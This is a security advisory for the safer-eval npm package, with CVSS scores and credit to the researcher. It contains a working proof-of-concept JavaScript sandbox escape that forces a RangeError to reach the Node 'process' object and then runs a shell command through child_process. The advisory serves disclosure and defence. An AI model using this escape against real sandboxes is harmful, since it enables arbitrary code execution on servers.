Arbitrary Code Execution Affecting safer-eval package, versions *


0.0
critical

Snyk CVSS

    Attack Complexity Low
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 1.21% (85th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-SAFEREVAL-534901
  • published 6 Dec 2019
  • disclosed 6 Dec 2019
  • credit Jonathan Leitschuh

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

safer-eval is a safer approach for eval in node and browser.

Affected versions of this package are vulnerable to Arbitrary Code Execution via generating a RangeError: Maximum call stack size exceeded.

PoC by Jonathan Leitschuh

const theFunction = function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){

    }
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));